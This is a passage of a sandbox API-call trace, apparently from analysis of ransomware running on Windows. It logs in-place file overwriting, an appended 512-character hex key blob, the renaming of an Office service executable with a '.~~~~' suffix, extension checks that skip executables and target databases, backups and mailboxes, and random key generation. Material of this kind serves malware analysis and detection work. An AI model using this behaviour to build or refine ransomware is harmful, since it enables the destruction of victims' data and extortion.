	[0081.902] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7850
	[0081.902] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a238 | out: hHeap=0x300000) returned 1
	[0081.902] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0081.903] GetLastError () returned 0x0
	[0081.903] GetLastError () returned 0x0
	[0081.903] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0081.903] GetLastError () returned 0x0
	[0081.903] GetLastError () returned 0x0
	[0081.903] ReadFile (in: hFile=0x124, lpBuffer=0x283dfe0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x283dfe0*, lpNumberOfBytesRead=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0081.924] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0081.924] WriteFile (in: hFile=0x124, lpBuffer=0x283dfe0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x283dfe0*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0081.926] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283dfe0 | out: hHeap=0x300000) returned 1
	[0081.927] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.927] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0081.929] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0081.929] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0081.929] CloseHandle (hObject=0x124) returned 1
	[0081.929] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f14a8
	[0081.929] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe.~~~~")) returned 1
	[0081.930] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f14a8 | out: hHeap=0x300000) returned 1
	[0081.930] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0081.930] GetLastError () returned 0x0
	[0081.930] RtlWakeConditionVariable () returned 0x365f70
	[0081.930] GetCurrentThreadId () returned 0xaf0
	[0081.930] GetCurrentThreadId () returned 0xaf0
	[0081.930] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0081.931] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b3f90 | out: hHeap=0x300000) returned 1
	[0081.931] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b24e0 | out: hHeap=0x300000) returned 1
	[0081.931] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b3f90
	[0081.931] lstrlenW (lpString=".scr") returned 4
	[0081.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".scr") returned 0x0
	[0081.931] lstrlenW (lpString=".cmd") returned 4
	[0081.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".cmd") returned 0x0
	[0081.931] lstrlenW (lpString=".dll") returned 4
	[0081.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".dll") returned 0x0
	[0081.931] lstrlenW (lpString=".bat") returned 4
	[0081.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".bat") returned 0x0
	[0081.931] lstrlenW (lpString=".cpl") returned 4
	[0081.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".cpl") returned 0x0
	[0081.931] lstrlenW (lpString=".sys") returned 4
	[0081.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".sys") returned 0x0
	[0081.931] lstrlenW (lpString=".msc") returned 4
	[0081.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".msc") returned 0x0
	[0081.931] lstrlenW (lpString=".com") returned 4
	[0081.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".com") returned 0x0
	[0081.931] lstrlenW (lpString=".lnk") returned 4
	[0081.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".lnk") returned 0x0
	[0081.931] lstrlenW (lpString=".msp") returned 4
	[0081.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".msp") returned 0x0
	[0081.932] lstrlenW (lpString=".pif") returned 4
	[0081.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".pif") returned 0x0
	[0081.932] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0081.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch="msp\r\n.pif") returned 0x0
	[0081.932] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.mof"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0081.932] lstrlenW (lpString=".sqb") returned 4
	[0081.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".sqb") returned 0x0
	[0081.932] lstrlenW (lpString=".ost") returned 4
	[0081.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".ost") returned 0x0
	[0081.933] lstrlenW (lpString=".txt") returned 4
	[0081.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".txt") returned 0x0
	[0081.933] lstrlenW (lpString=".mdt") returned 4
	[0081.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".mdt") returned 0x0
	[0081.933] lstrlenW (lpString=".BDB") returned 4
	[0081.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".BDB") returned 0x0
	[0081.933] lstrlenW (lpString=".eql") returned 4
	[0081.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".eql") returned 0x0
	[0081.933] lstrlenW (lpString=".DBF") returned 4
	[0081.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".DBF") returned 0x0
	[0081.933] lstrlenW (lpString=".EQL") returned 4
	[0081.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".EQL") returned 0x0
	[0081.933] lstrlenW (lpString=".FDB") returned 4
	[0081.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".FDB") returned 0x0
	[0081.933] lstrlenW (lpString=".EDB") returned 4
	[0081.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".EDB") returned 0x0
	[0081.933] lstrlenW (lpString=".DACPAC") returned 7
	[0081.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".DACPAC") returned 0x0
	[0081.933] lstrlenW (lpString=".VHD") returned 4
	[0081.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".VHD") returned 0x0
	[0081.933] lstrlenW (lpString=".DBV") returned 4
	[0081.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".DBV") returned 0x0
	[0081.933] lstrlenW (lpString=".dacpac") returned 7
	[0081.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".dacpac") returned 0x0
	[0081.934] lstrlenW (lpString=".sdf") returned 4
	[0081.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".sdf") returned 0x0
	[0081.934] lstrlenW (lpString=".accdb") returned 6
	[0081.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".accdb") returned 0x0
	[0081.934] lstrlenW (lpString=".DBX") returned 4
	[0081.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".DBX") returned 0x0
	[0081.934] lstrlenW (lpString=".MDT") returned 4
	[0081.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".MDT") returned 0x0
	[0081.934] lstrlenW (lpString=".SQB") returned 4
	[0081.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".SQB") returned 0x0
	[0081.934] lstrlenW (lpString=".vhd") returned 4
	[0081.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".vhd") returned 0x0
	[0081.934] lstrlenW (lpString=".bac") returned 4
	[0081.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".bac") returned 0x0
	[0081.934] lstrlenW (lpString=".mdf") returned 4
	[0081.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".mdf") returned 0x0
	[0081.934] lstrlenW (lpString=".BAK") returned 4
	[0081.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".BAK") returned 0x0
	[0081.934] lstrlenW (lpString=".BAC") returned 4
	[0081.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".BAC") returned 0x0
	[0081.934] lstrlenW (lpString=".dbs") returned 4
	[0081.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".dbs") returned 0x0
	[0081.934] lstrlenW (lpString=".vhdx") returned 5
	[0081.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".vhdx") returned 0x0
	[0081.935] lstrlenW (lpString=".NDF") returned 4
	[0081.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".NDF") returned 0x0
	[0081.935] lstrlenW (lpString=".dat") returned 4
	[0081.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".dat") returned 0x0
	[0081.935] lstrlenW (lpString=".DBS") returned 4
	[0081.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".DBS") returned 0x0
	[0081.935] lstrlenW (lpString=".CKP") returned 4
	[0081.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".CKP") returned 0x0
	[0081.935] lstrlenW (lpString=".edb") returned 4
	[0081.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".edb") returned 0x0
	[0081.935] lstrlenW (lpString=".PST") returned 4
	[0081.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".PST") returned 0x0
	[0081.935] lstrlenW (lpString=".dbf") returned 4
	[0081.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".dbf") returned 0x0
	[0081.935] lstrlenW (lpString=".SQL") returned 4
	[0081.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".SQL") returned 0x0
	[0081.935] lstrlenW (lpString=".pst") returned 4
	[0081.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".pst") returned 0x0
	[0081.935] lstrlenW (lpString=".dbv") returned 4
	[0081.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".dbv") returned 0x0
	[0081.935] lstrlenW (lpString=".SDF") returned 4
	[0081.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".SDF") returned 0x0
	[0081.935] lstrlenW (lpString=".dtxs") returned 5
	[0081.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".dtxs") returned 0x0
	[0081.935] lstrlenW (lpString=".db3") returned 4
	[0081.936] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".db3") returned 0x0
	[0081.936] lstrlenW (lpString=".OST") returned 4
	[0081.936] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".OST") returned 0x0
	[0081.936] lstrlenW (lpString=".dbx") returned 4
	[0081.936] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".dbx") returned 0x0
	[0081.936] lstrlenW (lpString=".DB3") returned 4
	[0081.936] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".DB3") returned 0x0
	[0081.936] lstrlenW (lpString=".DAT") returned 4
	[0081.936] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".DAT") returned 0x0
	[0081.936] lstrlenW (lpString=".VHDX") returned 5
	[0081.936] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".VHDX") returned 0x0
	[0081.936] lstrlenW (lpString=".ndf") returned 4
	[0081.936] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".ndf") returned 0x0
	[0081.936] lstrlenW (lpString=".DB") returned 3
	[0081.936] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".DB") returned 0x0
	[0081.936] lstrlenW (lpString=".sql") returned 4
	[0081.936] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".sql") returned 0x0
	[0081.936] lstrlenW (lpString=".MYD") returned 4
	[0081.936] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".MYD") returned 0x0
	[0081.936] lstrlenW (lpString=".DBT") returned 4
	[0081.936] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".DBT") returned 0x0
	[0081.936] lstrlenW (lpString=".ACCDB") returned 6
	[0081.936] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".ACCDB") returned 0x0
	[0081.937] lstrlenW (lpString=".fdb") returned 4
	[0081.937] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".fdb") returned 0x0
	[0081.937] lstrlenW (lpString=".bak") returned 4
	[0081.937] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".bak") returned 0x0
	[0081.937] lstrlenW (lpString=".myd") returned 4
	[0081.937] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".myd") returned 0x0
	[0081.937] lstrlenW (lpString=".DTXS") returned 5
	[0081.937] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".DTXS") returned 0x0
	[0081.937] lstrlenW (lpString=".ckp") returned 4
	[0081.937] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".ckp") returned 0x0
	[0081.937] lstrlenW (lpString=".dbt") returned 4
	[0081.937] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".dbt") returned 0x0
	[0081.937] lstrlenW (lpString=".db") returned 3
	[0081.937] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".db") returned 0x0
	[0081.937] lstrlenW (lpString=".TXT") returned 4
	[0081.937] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".TXT") returned 0x0
	[0081.937] lstrlenW (lpString=".MDF") returned 4
	[0081.937] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".MDF") returned 0x0
	[0081.937] lstrlenW (lpString=".bdb") returned 4
	[0081.937] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".bdb") returned 0x0
	[0081.937] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0081.937] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0081.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0081.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0081.937] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0081.939] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0081.939] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0081.939] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0081.939] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0081.939] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce910
	[0081.939] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20192888455) returned 1
	[0081.939] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9aafd270, dwHighDateTime=0x1d60e1e)) 
	[0081.939] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0081.939] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0081.939] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0081.939] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b24e0
	[0081.939] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0081.939] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b24e0 | out: hHeap=0x300000) returned 1
	[0081.939] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0081.939] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0081.939] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x39a238
	[0081.939] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0081.939] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7850
	[0081.939] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a238 | out: hHeap=0x300000) returned 1
	[0081.939] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0082.008] GetLastError () returned 0x0
	[0082.008] GetLastError () returned 0x0
	[0082.008] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0082.008] GetLastError () returned 0x0
	[0082.009] GetLastError () returned 0x0
	[0082.009] ReadFile (in: hFile=0x124, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x1f8fec0*=0xba5e, lpOverlapped=0x0) returned 1
	[0082.012] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffff45a2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0082.013] WriteFile (in: hFile=0x124, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0xba5e, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x1f8fec0*=0xba5e, lpOverlapped=0x0) returned 1
	[0082.013] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0082.013] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0082.013] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0082.013] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
